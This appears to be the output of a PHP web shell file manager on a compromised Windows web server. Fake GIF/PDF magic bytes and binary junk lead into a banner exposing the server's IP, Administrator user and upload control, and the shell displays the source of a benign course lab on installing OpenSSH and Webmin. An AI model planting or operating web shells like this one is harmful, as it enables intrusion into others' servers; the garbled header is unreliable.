GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2608/Labs/Lab03/ |
Upload File : |
<? // JimMartinson/CST2608/Labs/Lab03.5/Lab03.5.php require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. require('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc'); $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. ?> <p> <fieldset><legend>Description</legend> The purpose of this lab is to setup your Ubuntu server for remote administration thru OpenSSH server and the Webmin http interface. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend>Lab Instruction</legend> Create a folder for this <?=strtolower($evaluationType)?> named <b><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder. <ol class="count"> <!-- 1 --> <li>Install OpenSSH server. <span class="note normal">This step is done from your Ubuntu 18 server VM.</span> <ol type="a"> <li>Update the repository package lists with the command. <br><span class="kbd copyText">sudo apt update</span> </li> <li>Install the OpenSSH client. <br>From a terminal window enter the command: <kbd class="copyText">sudo apt install openssh-client</kbd> </li> <li>Install the OpenSSH server. <br>From a terminal window enter the command: <kbd class="copyText">sudo apt install openssh-server</kbd> <br>Make sure the OpenSSH server is running. <br>From a terminal window enter the command: <kbd class="copyText">sudo service ssh restart</kbd>. </li> </ol> </li> <!-- 3 --> <li>Verify the OpenSSH server is working. <span class="note normal">This step is done from your Windows VM.</span> <ol> <li>Download <a href="../../Resources/putty.exe">PuTTY (putty.exe)</a></li> <li>Go to the directory you downloaded putty.exe into.</li> <li>Run putty.exe and connect to your server using SSH. <br><b class="info">Take a screenshot</b> of the putty window and save it as <b style="white-space:nowrap;" class="copyText"><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFileName?>.png</b>. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/CST2608-Lab03.5a.png" width="825" height="521" alt="Putty example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <!-- 4 --> <li>Install Webmin. <span class="note normal">This step is done from your Ubuntu 18 server VM.</span> <ol type="a"> <li>Edit the /etc/apt/sources.list file with: <br><span class="kbd copyText">sudo nano /etc/apt/sources.list</span> </li> <li>Add the following lines to the bottom of the file: <br><span class="code copyText">deb http://download.webmin.com/download/repository sarge contrib</span> <br><span class="code copyText">deb http://webmin.mirror.somersettechsolutions.co.uk/repository sarge contrib</span> </li> <li>Get the jcameron key. <br><span class="kbd copyText">sudo wget http://www.webmin.com/jcameron-key.asc</span> </li> <li>Add the jcameron key. <br><span class="kbd copyText">sudo apt-key add jcameron-key.asc</span> </li> <li>Update the repository package lists with the command. <br><span class="kbd copyText">sudo apt update</span> </li> <li>Install Webmin. <br><span class="kbd copyText">sudo apt install webmin</span> </li> </ol> </li> <!-- 5 --> <li>Verify Webmin is working. <span class="note normal">This step is done from your Windows VM.</span> <ol> <li>Open a browser.</li> <li>Enter <b class="">https://your_server_ip_address:10000</b> into the location bar and hit enter. <br><span class="note">Change <b>your_server_ip_address</b> to the IP address of your Ubuntu 18 server.</span> </li> <li>Login to Webmin using your Ubuntu server username and password.</li> <li> Expand the browser window so you can see the System Information panel. <br><b class="info">Take a screenshot</b> of the browser window and save it as <b style="white-space:nowrap;" class="copyText"><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFileName?>.png</b>. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/CST2608-Lab03.5b.png" width="1000" height="527" alt="Webmin example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <!-- 6 --> <li>Turn in your assignment: <ol type="a"> <li>Make sure the following files are in your <b><?=$evaluationName?></b> folder: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFileName?>.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFileName?>.png.</li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Then attach this file to the assignment in D2L for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>